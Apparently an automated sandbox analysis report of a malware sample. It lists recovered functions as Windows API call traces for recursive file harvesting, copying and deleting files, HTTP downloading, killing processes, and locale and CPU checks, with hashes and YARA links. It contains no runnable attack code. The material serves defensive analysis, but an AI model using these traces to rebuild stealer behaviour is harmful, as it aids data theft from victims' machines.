API ID: lstrcpy$lstrcat$Findlstrlen$File$CloseFirstNext
String ID:
API String ID: 1346933759-0
Opcode ID: 4e6219decc4b41ff624d9f52e44e6b5bf45043bb310b769721e40c988e21a6f5
Instruction ID: d679bc3e00a2fb756e836827cecd38a5f5b21c627471d5c0eb6fae9a22049364
Opcode Fuzzy Hash: 4e6219decc4b41ff624d9f52e44e6b5bf45043bb310b769721e40c988e21a6f5
Instruction Fuzzy Hash: 8BC18B70A102079BCF25BF69DC99AEE77FABF45300F150228F84AAB651DB34DD418B90

Function 006913B7 Relevance: 43.8, APIs: 29, Instructions: 336stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006913E1
lstrcpy.KERNEL32(00000000,00000000), ref: 00691404
lstrcatA.KERNEL32(00000000,00000000), ref: 0069140F
lstrlenA.KERNEL32(006B4CB4), ref: 0069141A
lstrcpy.KERNEL32(00000000,00000000), ref: 00691437
lstrcatA.KERNEL32(00000000,006B4CB4), ref: 00691443
lstrcpy.KERNEL32(00000000,00000000), ref: 0069146E
FindFirstFileA.KERNEL32(00000000,?), ref: 0069148A
StrCmpCA.SHLWAPI(?,006B17A8), ref: 006914AC
StrCmpCA.SHLWAPI(?,006B17AC), ref: 006914C6
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006914FF
lstrcpy.KERNEL32(00000000,?), ref: 00691527
lstrcatA.KERNEL32(00000000,00000000), ref: 00691532
lstrlenA.KERNEL32(006B179C), ref: 0069153D
lstrcpy.KERNEL32(00000000,00000000), ref: 0069155A
lstrcatA.KERNEL32(00000000,006B179C), ref: 00691566
lstrlenA.KERNEL32(?), ref: 00691573
lstrcpy.KERNEL32(00000000,00000000), ref: 00691593
lstrcatA.KERNEL32(00000000,?), ref: 006915A1
lstrcpy.KERNEL32(00000000,00000000), ref: 006915CA
StrCmpCA.SHLWAPI(?,01260358), ref: 006915F3
lstrcpy.KERNEL32(00000000,?), ref: 00691634
lstrcpy.KERNEL32(00000000,?), ref: 0069165D
lstrcpy.KERNEL32(00000000,?), ref: 00691685
lstrcpy.KERNEL32(00000000,?), ref: 006918E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0069190E
lstrcpy.KERNEL32(00000000,?), ref: 00691945
FindNextFileA.KERNELBASE(00000000,?), ref: 0069196C
FindClose.KERNEL32(00000000), ref: 0069197B

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Findlstrlen$File$CloseFirstNext
String ID:
API String ID: 1346933759-0
Opcode ID: 43a1f2e143c96f74d7633f2e1c9feedf0991061e755635e58c2806089335d10d
Instruction ID: 2e263917ea2e902cab508434efabc18ec2f221d87d5e33695054c12c2654bf4f
Opcode Fuzzy Hash: 43a1f2e143c96f74d7633f2e1c9feedf0991061e755635e58c2806089335d10d
Instruction Fuzzy Hash: 8DC18C70A102079BCF21BF69DC99AEE77FABF45300F150228F84AAB651DB34DD418B90

Function 6C4535A0 Relevance: 38.8, APIs: 16, Strings: 6, Instructions: 294stringtimeCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C4DF688,00001000), ref: 6C4535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C45363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C45369F
__aulldiv.LIBCMT ref: 6C4536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C453773
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C45377E
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C4537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4537C4
EnterCriticalSection.KERNEL32(6C4DF688), ref: 6C4537CB
LeaveCriticalSection.KERNEL32(6C4DF688), ref: 6C453801
__aulldiv.LIBCMT ref: 6C453883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C453902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C453918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C45394C

Strings

we;, xrefs: 6C45378A, 6C4537A3, 6C4537D7, 6C4537ED
GenuntelineI, xrefs: 6C453639
AuthcAMDenti, xrefs: 6C453946
MOZ_TIMESTAMP_MODE, xrefs: 6C4535DB
GTC, xrefs: 6C453912
QPC, xrefs: 6C4538FC

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC$we;
API String ID: 301339242-285533411
Opcode ID: 2943a2f0a32fe47d86419aaa762f4d7c961f764a44fb1fd46916d5ede9124b05
Instruction ID: df6a2d4568c3332d8bbb7da6f740b2a876b5b7b5ab1f7bf90f2f7e34adec924a
Opcode Fuzzy Hash: 2943a2f0a32fe47d86419aaa762f4d7c961f764a44fb1fd46916d5ede9124b05
Instruction Fuzzy Hash: 14B180B1B053109FDB18FF28C854F1ABBF5AB8A704F45892EF899D7790D770A9018B91

Function 0069E3F0 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 212stringfileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0069E40C
FindFirstFileA.KERNEL32(?,?), ref: 0069E423
StrCmpCA.SHLWAPI(?,006B17A8), ref: 0069E443
StrCmpCA.SHLWAPI(?,006B17AC), ref: 0069E45D
wsprintfA.USER32 ref: 0069E482
StrCmpCA.SHLWAPI(?,006ACFF4), ref: 0069E494
wsprintfA.USER32 ref: 0069E4B1

Part of subcall function 0069EFC0: lstrcpy.KERNEL32(00000000,?), ref: 0069EFF2

wsprintfA.USER32 ref: 0069E4D0
PathMatchSpecA.SHLWAPI(?,?), ref: 0069E4E4
lstrcatA.KERNEL32(?,0125D868), ref: 0069E515
lstrcatA.KERNEL32(?,006B179C), ref: 0069E527
lstrcatA.KERNEL32(?,?), ref: 0069E538
lstrcatA.KERNEL32(?,006B179C), ref: 0069E54A
lstrcatA.KERNEL32(?,?), ref: 0069E55E
CopyFileA.KERNEL32(?,?,00000001), ref: 0069E574
lstrcpy.KERNEL32(00000000,?), ref: 0069E5B2
lstrcpy.KERNEL32(00000000,?), ref: 0069E602
DeleteFileA.KERNEL32(?), ref: 0069E63C

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

FindNextFileA.KERNEL32(00000000,?), ref: 0069E67B
FindClose.KERNEL32(00000000), ref: 0069E68A

Strings

%s\%s, xrefs: 0069E47C, 0069E4CA
%s\*, xrefs: 0069E406

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$Filewsprintf$Find$CloseCopyDeleteFirstMatchNextPathSpec
String ID: %s\%s$%s\*
API String ID: 1375681507-2848263008
Opcode ID: 9a34907fc932c87a79a3692ca399a64de2bcd84915f5d64158c89b4828192fef
Instruction ID: 6eba06f22b1de27588db701718e7f5b6c4c8f2943fb6cb85ea00bf0c2189fcc8
Opcode Fuzzy Hash: 9a34907fc932c87a79a3692ca399a64de2bcd84915f5d64158c89b4828192fef
Instruction Fuzzy Hash: 28816FB1900219ABCF24EF64DC89AEE77BEBF48300F044699F54997241EF35AA45CF90

Function 00686C40 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 229networkstringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,?), ref: 00686C6F
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00686CC2
InternetOpenA.WININET(006ACFF4,00000001,00000000,00000000,00000000), ref: 00686CD5
StrCmpCA.SHLWAPI(?,0125D878), ref: 00686CED
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00686D15
HttpOpenRequestA.WININET(00000000,GET,?,01261350,00000000,00000000,-00400100,00000000), ref: 00686D50
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00686D77
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00686D86
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00686DA5
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00686DFF
lstrcpy.KERNEL32(00000000,?), ref: 00686E5B
InternetReadFile.WININET(?,00000000,000007CF,?), ref: 00686E7D
InternetCloseHandle.WININET(00000000), ref: 00686E8E
InternetCloseHandle.WININET(?), ref: 00686E98
InternetCloseHandle.WININET(00000000), ref: 00686EA2
lstrcpy.KERNEL32(00000000,00000000), ref: 00686EC3

Strings

ERROR, xrefs: 00686DB2
GET, xrefs: 00686D4A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$FileOpenReadRequest$ConnectInfoOptionQuerySend
String ID: ERROR$GET
API String ID: 3687753495-3591763792
Opcode ID: d8e4168bd86122dd29e8f67a5e3cc8ca0096c1b01516fc121cb2b01839f5f21a
Instruction ID: 1c8d93f520b4ca74d94183439c7d33039cd6162b39b766730932dd8b40ffa7bc
Opcode Fuzzy Hash: d8e4168bd86122dd29e8f67a5e3cc8ca0096c1b01516fc121cb2b01839f5f21a
Instruction Fuzzy Hash: 39818F71A51216ABDB20EFA4DC49BEE77BAFF44700F144268FA45E7380DB70AD058B94

Function 006816B9 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 219stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006816E2
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00681719
lstrcpy.KERNEL32(00000000,00000000), ref: 0068176C
lstrcatA.KERNEL32(00000000), ref: 00681776
lstrcpy.KERNEL32(00000000,00000000), ref: 006817A2
lstrcpy.KERNEL32(00000000,?), ref: 006818F3
lstrcatA.KERNEL32(00000000,00000000), ref: 006818FE

Strings

\*.*, xrefs: 0068196C, 00681994

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat
String ID: \*.*
API String ID: 2276651480-1173974218
Opcode ID: 355a51bdb6ef2663077785541ad98197695e87734e608e7fff1d9da1f08e3202
Instruction ID: 6e577827a1b726fd0f5eefbddb0fe21700d3ef08255970445c56c21ecc85bb9e
Opcode Fuzzy Hash: 355a51bdb6ef2663077785541ad98197695e87734e608e7fff1d9da1f08e3202
Instruction Fuzzy Hash: 83814F7191121A9BCB21FFA9D899AAE77FAFF05300F040328F945AB251DB34DD42CB95

Function 006924F9 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00692524
lstrcpy.KERNEL32(00000000,00000000), ref: 00692547
lstrcatA.KERNEL32(00000000,00000000), ref: 00692552
lstrlenA.KERNEL32(\*.*), ref: 0069255D
lstrcpy.KERNEL32(00000000,00000000), ref: 0069257A
lstrcatA.KERNEL32(00000000,\*.*), ref: 00692586
lstrcpy.KERNEL32(00000000,00000000), ref: 006925BA
FindFirstFileA.KERNEL32(00000000,?), ref: 006925D6

Strings

\*.*, xrefs: 00692558, 00692580

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*
API String ID: 2567437900-1173974218
Opcode ID: 571e9b73c654280d2996ba8fff3bbb30188185d91600d4a4f8d600eff89a1732
Instruction ID: 96a477f44dcf10ceb193b41bcc11eeeb106543f13cc688587e195622247ac5a7
Opcode Fuzzy Hash: 571e9b73c654280d2996ba8fff3bbb30188185d91600d4a4f8d600eff89a1732
Instruction Fuzzy Hash: 874149705212179BCB66BF69DCE9A9E77EAFF18300F015268F94A97211DB30DD018B94

Function 006924F7 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 106stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00692524
lstrcpy.KERNEL32(00000000,00000000), ref: 00692547
lstrcatA.KERNEL32(00000000,00000000), ref: 00692552
lstrlenA.KERNEL32(\*.*), ref: 0069255D
lstrcpy.KERNEL32(00000000,00000000), ref: 0069257A
lstrcatA.KERNEL32(00000000,\*.*), ref: 00692586
lstrcpy.KERNEL32(00000000,00000000), ref: 006925BA
FindFirstFileA.KERNEL32(00000000,?), ref: 006925D6

Strings

\*.*, xrefs: 00692558, 00692580

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*
API String ID: 2567437900-1173974218
Opcode ID: 3c6afa26708c0d0acc0fdd33fb3e7c5d04d0bf7d5d483a616de9c0f03c0827f0
Instruction ID: c879f12afb72ba231d771b64dcc15dab8a54a4a4aac698c4275f9be0c3ed3925
Opcode Fuzzy Hash: 3c6afa26708c0d0acc0fdd33fb3e7c5d04d0bf7d5d483a616de9c0f03c0827f0
Instruction Fuzzy Hash: 1D314A70521217ABCB66FF69DCE9A9E77EAFF18300F015268F94A97211DB30DD018B94

Function 006A1DC0 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: b7ca01806a38a95a3b159a0c0e347e1c15ca938bbe9f8912563a9c2152d9765b
Instruction ID: afc0d65e465b159910192bc037584207f0bec862d283fbb77e918b2ddc90dc17
Opcode Fuzzy Hash: b7ca01806a38a95a3b159a0c0e347e1c15ca938bbe9f8912563a9c2152d9765b
Instruction Fuzzy Hash: F5415C319006079FCB60BBA5DC99BAE77EBBF02750F184229F9059B255DF30AD02CB94

Function 006A48B0 Relevance: 13.6, APIs: 9, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 006A48C9
Process32First.KERNEL32(00000000,00000128), ref: 006A48D9
Process32Next.KERNEL32(00000000,00000128), ref: 006A48EB
StrCmpCA.SHLWAPI(?,?), ref: 006A48FD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 006A4912
TerminateProcess.KERNEL32(00000000,00000000), ref: 006A4921
CloseHandle.KERNEL32(00000000), ref: 006A4928
Process32Next.KERNEL32(00000000,00000128), ref: 006A4936
CloseHandle.KERNEL32(00000000), ref: 006A4941

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: 5bef725cce5d02f0aad6525335e71894512fd9c14e2605b1442ef75ab1b27d84
Instruction ID: 4cb96cfe729926e0907b4e268e7853b8ff7532cc982020d19f4f83dd7688b772
Opcode Fuzzy Hash: 5bef725cce5d02f0aad6525335e71894512fd9c14e2605b1442ef75ab1b27d84
Instruction Fuzzy Hash: B101A131501115ABE7216B21EC48FFB377CFF89B51F000298FA45A1280EFB49D55CA60

Function 00694C89 Relevance: 12.1, APIs: 8, Instructions: 102stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00694CB1
lstrcpy.KERNEL32(00000000,00000000), ref: 00694CD4
lstrcatA.KERNEL32(00000000,00000000), ref: 00694CDF
lstrlenA.KERNEL32(006B4CB4), ref: 00694CEA
lstrcpy.KERNEL32(00000000,00000000), ref: 00694D07
lstrcatA.KERNEL32(00000000,006B4CB4), ref: 00694D13
lstrcpy.KERNEL32(00000000,00000000), ref: 00694D3E
FindFirstFileA.KERNEL32(00000000,?), ref: 00694D5A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID:
API String ID: 2567437900-0
Opcode ID: 12324ea4020a164219b7061babd1d7b35f0da9eb628192726b57976954b48bf7
Instruction ID: 822dcccd88329720dedbe23527ddc23ef8d3e7f9b00cf54d8d71c3005764894e
Opcode Fuzzy Hash: 12324ea4020a164219b7061babd1d7b35f0da9eb628192726b57976954b48bf7
Instruction Fuzzy Hash: 8B314B715215169BCB66FF69EC99A9E77FBFF44304F001228F84A97251CF30AC028B94

Function 006A2F30 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 235memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 006A73F0: lstrcpy.KERNEL32(00000000,ERROR), ref: 006A740E

GetKeyboardLayoutList.USER32(00000000,00000000,00000000,00000000), ref: 006A2F6B
LocalAlloc.KERNEL32(00000040,00000000), ref: 006A2F7D
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 006A2F8A
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006A2FBC
LocalFree.KERNEL32(00000000), ref: 006A319A

Strings

/ , xrefs: 006A2FCF

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: d63fde85df2d8704ad20ad0e6a35ff38e81ce30fc23a7bc2ea9e563d8bd88856
Instruction ID: 35829d756a7fbbb44027dfff4eaa6e0f782ccceff367195c7d03b8d37d106c31
Opcode Fuzzy Hash: d63fde85df2d8704ad20ad0e6a35ff38e81ce30fc23a7bc2ea9e563d8bd88856
Instruction Fuzzy Hash: 94B11970900215CFC754DF58D988B95B7F2FB46324F29C1A9E408AB3A2D7769E86CF90

Function 006A2DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46memorytimeCOMMON

Download Yara Rule

APIs
